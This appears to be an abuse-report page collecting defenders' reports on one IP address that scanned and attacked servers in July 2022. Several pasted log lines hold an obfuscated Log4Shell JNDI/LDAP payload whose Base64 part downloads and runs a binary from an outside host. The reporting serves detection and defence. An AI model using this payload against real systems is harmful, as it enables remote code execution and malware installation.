🇩🇪
jonb
2022-07-26 07:27:24
(3 years ago)
Hosting malicious LDAP server used in log4shell attack
Hacking
Web App Attack
🇺🇸
cmurph
2022-07-13 08:45:39
(3 years ago)
IOT exploit attempt
IoT Targeted
🇺🇸
Custard
2022-07-07 17:15:02
(3 years ago)
168.61.94.169 - - [07/Jul/2022:16:15:01 -0500] "GET http://104.219.42.235/ HTTP/1.1" 200 13368 "t('$ ...
show more
168.61.94.169 - - [07/Jul/2022:16:15:01 -0500] "GET http://104.219.42.235/ HTTP/1.1" 200 13368 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//168.61.94.169:443/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMjEyLjE5Mi4yNDEuMzUvbHNoYm9vdCAmJiBjaG1vZCA3NzcgbHNoYm9vdCAmJiAuL2xzaGJvb3QgbHNoYm9vdCAmJiBybSBsc2hib290}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//168.61.94.169:443/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMjEyLjE5Mi4yNDEuMzUvbHNoYm9vdCAmJiBjaG1vZCA3NzcgbHNoYm9vdCAmJiAuL2xzaGJvb3QgbHNoYm9vdCAmJiBybSBsc2hib290}')" "-"
show less
Brute-Force
Exploited Host
Web App Attack
🇳🇱
Daemonlord
2022-07-07 16:54:22
(3 years ago)
[07/07/2022 11:27:59] [ens453] [Error] [HTTP Suspicious User-Agent][Flow][13.89.48.118:41026 mydomai ...
show more
[07/07/2022 11:27:59] [ens453] [Error] [HTTP Suspicious User-Agent][Flow][13.89.48.118:41026 mydomain.com:80] HTTP Suspicious User-Agent
${jndi:ldap://168.61.94.169:443/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMjEyLjE5Mi4yNDEuMzUvbHNoYm9vdCAmJiBjaG1vZCA3NzcgbHNoYm9vdCAmJiAuL2xzaGJvb3QgbHNoYm9vdCAmJiBybSBsc2hib290}
show less
Hacking
Web App Attack
🇺🇸
gu-alvareza
2022-07-07 14:40:39
(3 years ago)
Apache.Log4j.Error.Log.Remote.Code.Execution
Hacking
Web App Attack
🇺🇸
Mark--
2022-07-07 11:46:04
(3 years ago)
Unauthorized connection attempt detected port 8080
Hacking
🇬🇧
Elias Silva
2022-07-07 10:16:19
(3 years ago)
attempts at exploiting Log4J via Tomcat configurations
Hacking
Brute-Force
🇺🇸
MrRage
2022-07-07 07:51:09
(3 years ago)
Unauthorized Connection On Port 8080 From IP Address 168.61.94.169
Port Scan
Hacking
🇸🇬
Sofibox Cyberwatch
2022-07-07 07:24:13
(3 years ago)
[bad_ip: 168.61.94.169 [alert_level: Very High Risk [inbound(1)+outbound(0): 1 [target_port: 8080 [c ...
show more
[bad_ip: 168.61.94.169 [alert_level: Very High Risk [inbound(1)+outbound(0): 1 [target_port: 8080 [class: Attempted Administrator Privilege Gain [msg: ET EXPLOIT Apache Obfuscated log4j RCE Attempt (tcp ldap) (CVE-2021-44228) [csf_block_status: ok-ip-block-success [blcheck_ip_score: 98.97% (2/194) [blcheck_domain: "all.s5h.net,dnsbl.spfbl.net" [blcheck_comment: "blcheck IPv4+IPv6 scanner v0.7.8 @ github.com/sofibox/blcheck" [log_suspicious_score: 10.53% [mod_security_alert: false [has_cidr24_network: false(0)
show less
Web App Attack
2022-07-07 06:52:13
(3 years ago)
port scan and connect, tcp 8080 (http-proxy)
Port Scan
🇺🇸
Minipinity
2022-07-06 23:35:06
(3 years ago)
168.61.94.169 - - [06/Jul/2022:20:25:13 -0700] "GET / HTTP/1.1" 301 430 "t('${${env:NaN:-j}ndi${env: ...
show more
168.61.94.169 - - [06/Jul/2022:20:25:13 -0700] "GET / HTTP/1.1" 301 430 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//168.61.94.169:443/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMjEyLjE5Mi4yNDEuMzUvbHNoYm9vdCAmJiBjaG1vZCA3NzcgbHNoYm9vdCAmJiAuL2xzaGJvb3QgbHNoYm9vdCAmJiBybSBsc2hib290}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//168.61.94.169:443/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMjEyLjE5Mi4yNDEuMzUvbHNoYm9vdCAmJiBjaG1vZCA3NzcgbHNoYm9vdCAmJiAuL2xzaGJvb3QgbHNoYm9vdCAmJiBybSBsc2hib290}')"
show less
Web App Attack
🇩🇪
sdos.es
2022-07-06 22:29:30
(3 years ago)
"Remote Command Execution: Unix Command Injection - Matched Data: ${${env found within REQUEST_COOKI ...
show more
"Remote Command Execution: Unix Command Injection - Matched Data: ${${env found within REQUEST_COOKIES_NAMES:t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//168.61.94.169:443/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMjEyLjE5Mi4yNDEuMzUvbHNoYm9vdCAmJiBjaG1vZCA3NzcgbHNoYm9vdCAmJiAuL2xzaGJvb3QgbHNoYm9vdCAmJiBybSBsc2hib29 [hostname"
show less
Web App Attack
🇺🇸
Custard
2022-07-06 20:31:25
(3 years ago)
168.61.94.169 - - [06/Jul/2022:19:31:24 -0500] "GET http://50.21.186.239/ HTTP/1.1" 301 169 "t('${${ ...
show more
168.61.94.169 - - [06/Jul/2022:19:31:24 -0500] "GET http://50.21.186.239/ HTTP/1.1" 301 169 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//168.61.94.169:443/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMjEyLjE5Mi4yNDEuMzUvbHNoYm9vdCAmJiBjaG1vZCA3NzcgbHNoYm9vdCAmJiAuL2xzaGJvb3QgbHNoYm9vdCAmJiBybSBsc2hib290}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//168.61.94.169:443/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMjEyLjE5Mi4yNDEuMzUvbHNoYm9vdCAmJiBjaG1vZCA3NzcgbHNoYm9vdCAmJiAuL2xzaGJvb3QgbHNoYm9vdCAmJiBybSBsc2hib290}')" "-"
show less
Brute-Force
Exploited Host
Web App Attack
🇦🇺
FEWA
2022-07-06 17:42:07
(3 years ago)
Fail2Ban Ban Triggered
Hacking
Bad Web Bot
Web App Attack
2022-07-06 17:41:01
(3 years ago)
Port Scan